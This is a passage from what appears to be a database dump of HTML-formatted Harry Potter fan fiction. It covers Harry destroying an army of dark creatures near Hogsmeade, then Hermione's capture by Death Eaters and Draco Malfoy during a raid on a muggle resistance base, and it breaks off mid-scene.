style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hogsmeade was\nunder attack by an entire legion of Dark Creatures!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;They\'re\nattacking the village!&quot; shouted Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh, well\nspotted,&quot; said Ron and Sirius at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Accio\nFirebolt!&quot;</i> shouted\nHarry.&nbsp; His broomstick flew out of the\nbroom shed and sped toward the window.&nbsp;\n&quot;Go get the others,&quot; said Harry as he mounted the\nbroomstick.&nbsp; &quot;I\'ll hold them off in\nthe mean time.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Will you be\nOK?&quot; asked Sirius.&nbsp; He, Ron, and\nRemus looked concerned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry\ngrinned.&nbsp; &quot;Don\'t worry.&nbsp; A fully fledged Battle Wizard can\'t be\nbeaten that easily.&quot;&nbsp; He sped off\ntoward the village as Ron, Sirius, and Remus ran off to alert the resistance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Due to its close\nproximity to Hogwarts, Hogsmeade village was one of the few places in the\nwiarding world not conquered by Voldemort.&nbsp;\nHowever, since the protective wards of the school didn\'t extend to the\nvillage, Hogsmeade was constantly prone to attack by dark forces.&nbsp; As a result, most of the villagers lived\neither underground or areas where they could take refuge in Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">On that day, one\nof the largest forces of dark creatures attacked Hogsmeade.&nbsp; The villagers ran into hiding as a force of\nabout three hundred creatures pillaged the village.&nbsp; There were goblins, trolls, demons, dementors, chimeras,\nmanticores, and dragons.&nbsp; The Death\nEaters, whom appeared to be the commanders of the great dark army, controlled\nthem all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Potter!&quot;\nyelled one of the Death Eaters as he had his dragon, a Peruvian Vipertooth, set\nwhat was the Three Broomsticks on fire.&nbsp;\n&quot;Potter!&nbsp; Where are you?&nbsp; Come out and fight!&nbsp; Potter!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dementors started\ngliding forward, searching out anybody whom had failed to escape from the\nschool.&nbsp; Before they could get very far\nhowever, a silver patronus, in the form of a stag, charged at the dementors and\ndrove them back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry Potter came\nstrolling down street, his wand out and his face grim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The dark creatures\nstopped in their tracks, as the Boy who lived walked up to just in front of\nthem.&nbsp; He glared at the dark forces,\nwhich were astounded by the fact that their target had just walked up to them.&nbsp; Finally, one of the Death Eaters spoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry\nPotter.&nbsp; So you have come.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You didn\'t\ngive me a choice,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Then prepare\nto meet your doom, Potter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned and\ncrouched low.&nbsp; &quot;Give it your best\nshot.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Kill\nhim!&quot;&nbsp; The Dark Creatures unleashed\ntheir powers at the young wizard.&nbsp; Harry\nsimply leapt out of the way and started running the opposite direction.&nbsp; The Dark creatures gave chase.&nbsp; Whenever one of them got close enough to\nphysically harm him, Harry managed to knock them out with either a karate chop\non the back of their necks, or a swift kick in the gut as he dodged their\nattacks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Although Harry was\nrunning away from the Dark Forces, he didn\'t seem to be trying to escape from\nthem.&nbsp; Rather, it appeared as if Harry\nwere luring them away from the village.&nbsp;\nFinally, Harry stopped in the middle of a large clearing quite a bit of\na distance from Hogsmeade.&nbsp; He faced the\nDark Creatures whom had entered the clearing behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We have you\nnow, Potter,&quot; said one of the Death Eaters.&nbsp; They all laughed as the Dark Forces drew in closer to him.&nbsp; Harry simply remained quiet as the creatures\ndrew closer.&nbsp; Finally, when they were\nonly about three meters away, he spoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;If I were\nyou, I would run away as fast as I can.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eaters\nstarted laughing hysterically.&nbsp;\n&quot;How foolish can you get, Potter?&quot; said one of them.&nbsp; &quot;Shouldn\'t you be the one who should be\ntrying to run away?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry\'s eyes\nstartled to cackle with energy.&nbsp; He\nlooked incredibly grim as he raised his hands in front of him, his arms\noutstretched.&nbsp; &quot;You have no idea\njust how powerful a Battle Wizard is,&quot; he said.&nbsp; &quot;The one thing I fear the most of all is my own power.&nbsp; Just imagine what would happen if anybody\nused it in the wrong way.&nbsp; Of course,\nyour precious Dark Lord had the same power I do and he used it in a way I\nmyself have vowed never to use.&nbsp; Now, if\nyou don&#8217;t run, you will experience first hand just how powerful I, and your\nmaster really are.&quot;&nbsp; Harry\'s hands\nstarted to emit sparks of energy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Is that all\nyou have to say,&quot; said a Deaht Eater as the others laughed.&nbsp; &quot;Kill him!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All of the Dark\nForces leapt at Harry just as he shouted, <i>&quot;Maximus Reducto!&quot;</i>&nbsp; There was a flash of blinding light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The wizards and\nwitches of the Hogwarts resistance finally made it to the clearing where Harry\nhad lured the Dark Forces.&nbsp; However,\nthey stopped short and gasped at the sight that greeted them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Bloody\nHell,&quot; muttered Ron.&nbsp; The others\nwere speechless.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">What was formerly the\nclearing was now a smoldering crater about the size of a Quidditch pitch.&nbsp; The shape of the crater indicated the blast\nhad come horizontally.&nbsp; At the edge of\nthe crater, where the blast had clearly originated, stood Harry Potter looking\nexhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Only about half a\nmile away, in the hills that surrounded Hogsmeade, there was a rider.&nbsp; This rider was wearing the silver and\nscarlet armor of a knight, including a helmet and visor that covered the entire\nfeatures of the face.&nbsp; The rider also\nhad a red cape but instead of a horse, the rider was saddled on a majestic\nstag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry has\ngrown more powerful than we even imagined,&quot; muttered the rider in a clear\nfeminine voice.&nbsp; The stag nodded in a\nway that suggested that he understood what the rider had said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The rider pulled\nthe reigns on the stag.&nbsp; The stag turned\naround and galloped away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Did you like\nthis chapter?&nbsp; Hope you did.&nbsp; Well, Hermione will come out again in the\nnext chapter and it will focus on her again for a while.&nbsp; I promise that I will get Harry and Hermione\nreunited soon.&nbsp; In the mean time why not\ndo something like, guess who the rider on the stag is, or reviewing this\nchapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 7, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic, Bloomsbury,\nRaincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Hatred\nstirs up dissension, but love covers all wrongs.&quot;</i></p>\n\n<i>Proverbs 10:12</i>\n\nChapter 7: A\nSupposed Betrayal\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Wizards!&nbsp; Those damn wizards have come!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione woke up\nfrom her peaceful slumber.&nbsp; She had,\nlike many nights before, been blissfully dreaming about being in Harry\'s arms,\nlegs and all.&nbsp; However, it seemed that\nnow was not the time to be having peaceful dreams.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Once she was fully\nawake, Hermione dragged herself out of her bed into her wheelchair right next\nto it.&nbsp; She also threw a blanket over\nher thighs, covering the fact that she had nothing below them under the skirts\nof her nightgown.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione managed\nto wheel herself out of her room and gasped at the sight before her.&nbsp; Legions of Death Eaters were streaming into\nthe palace.&nbsp; The members of the muggle\nresistance were fighting them off, but bullets and explosives didn&#8217;t stand much\nof a chance against magic.&nbsp; Feeling\ndefenseless, Hermione tried to wheel away from the thick of the battle.&nbsp; She wheeled into Seymour and Susan.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione,\nare you OK?&quot; asked Susan.&nbsp; Hermione\nnodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What\'s going\non?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ll tell\nyou what\'s going on,&quot; hissed Seymour.&nbsp;\nHis face was very red with anger.&nbsp;\n&quot;Some one betrayed us to the wizards!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We don\'t\nknow that for sure,&quot; countered Susan.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;How else\ncould they have figured out where we were than?&nbsp; The only way they could\'ve found out is if we were\nbetrayed!&quot; yelled Seymour.&nbsp; He\nglared at Hermione and Hermione shuddered; it was clear that Seymour suspected\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment, an\nexplosion rocked over their heads.&nbsp;\n&quot;Dammit!&quot; yelled Seymour as he started firing his machine gun\nat the Death Eaters who were closing in.&nbsp;\nOne of them fired a beam out of his wand that created an even larger\nexplosion.&nbsp; Hermione was flung off her\nwheelchair and hit the ground quite hard.&nbsp;\nShe promptly blacked out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">When she finally came\nto, Hermione was still on the ground, and she found herself surrounded by a\ndozen Death Eaters.&nbsp; It was clearly only\na few minutes later and she saw Susan and Seymour tied up with other members of\nthe resistance near by.&nbsp; She also\nshuddered when she saw the bodies of some resistance members who weren&#8217;t so\nlucky.&nbsp; Tears brimmed on her eyes and\nshe tried to sit up, fighting a throbbing headache.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">One of the Death\nEaters took a step toward Hermione and muttered in a sophisticated British\naccent, &quot;Granger?&quot;&nbsp; Hermione\nimmediately sat up, her eyes wide in astonishment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;How do you\nknow her?&quot; demanded Susan.&nbsp; Seymour\nlooked absolutely livid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Death Eater\nwhipped around to face them.&nbsp; After\nconsidering them for a moment, the Death Eater said, &quot;Why, I\'ve known her\nfor quite some time now.&nbsp; Did you not\nknow that your \'friend\' here is a witch?&quot;&nbsp;\nHis voice suggested that he was smirking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ha!&nbsp; I knew it!&nbsp;\nI knew she was the traitor!&quot; shouted Seymour, a look of\nsatisfaction on his face for having his suspicions apparently confirmed.&nbsp; Susan\'s eyes widen into a look of\nbetrayal.&nbsp; Hermione tried to catch her\neye while shaking her head.&nbsp; That tears\nwere falling freely now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Take them\naway.&nbsp; To the camps,&quot; said the\nDeath Eater to his comrades.&nbsp; The\ncaptured resistance members were led away, leaving Hermione with the Death\nEater.&nbsp; Hermione glanced up at the Death\nEater with fear in her eyes.&nbsp; The Death\nEater chuckled and said, &quot;Who would\'ve thought that I\'d run into you here,\nmudblood.&quot; He threw off his hood and Hermione gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was Draco\nMalfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You!&quot;\nshouted Hermione, her previous fear replaced with anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes\nme,&quot; said Draco with a smirk.&nbsp;\n&quot;My, have you changed, Granger,&quot; he said as he glanced down at\nher skirts where the lack of her legs was obvious.&nbsp; &quot;Your new look actually suits you better.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione gritted\nher teeth, trying to hold her anger down.&nbsp;\n&quot;Say something like that again Malfoy, and you\'ll lose more than\njust your legs.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I see that\nother things haven\'t changed,&quot; said Draco.&nbsp; He started gazing her up and down.&nbsp; Hermione shuddered and wished she had more on than her thin\nnightgown.&nbsp; &quot;Good thing the rest of\nyou is intact,&quot; he said with a sick grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;W-what do\nyou mean by that?&quot; demanded 